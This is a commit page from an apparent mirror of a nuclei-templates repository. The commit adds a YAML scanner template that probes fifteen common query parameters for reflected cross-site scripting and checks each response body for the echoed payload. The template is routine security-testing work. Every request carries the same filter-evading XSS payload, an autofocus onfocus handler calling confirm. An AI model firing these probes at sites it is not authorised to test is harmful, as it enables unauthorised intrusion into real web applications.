daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

added template for xss params

patch-1
Benjamin Intfeld 2020-08-12 22:51:22 +02:00
parent e91a4518c2
commit 8f599a4c08
1 changed files with 36 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

36
vulnerabilities/top-15-xss-params.yaml Normal file
View File

@ -0,0 +1,36 @@
# id contains the unique identifier for the template.
id: top-15-xss-parameter
info:
# Name is the name of the template
name: Top 15 XSS Parameter Template
# Author is the name of the author for the template
author: foulenzer
# Severity is the severity for the template.
severity: medium
# Description optionally describes the template.
description: Searches for reflected XSS in the server response via GET-requests.
requests:
- method: GET
path:
- "{{BaseURL}}/?q=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?s=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?search=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?id=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?action=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?keyword=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?query=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?page=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?keywords=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?url=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?view=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?cat=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?name=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?key=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
- "{{BaseURL}}/?p=%27%3E%22%20%3Ci%20onFoCuS%3DCoNfIrM%281%29%20autofocus%3E1abc"
matchers:
- type: word
words:
- "'>\" <i onFoCuS=CoNfIrM(1) autofocus>1abc"
part: body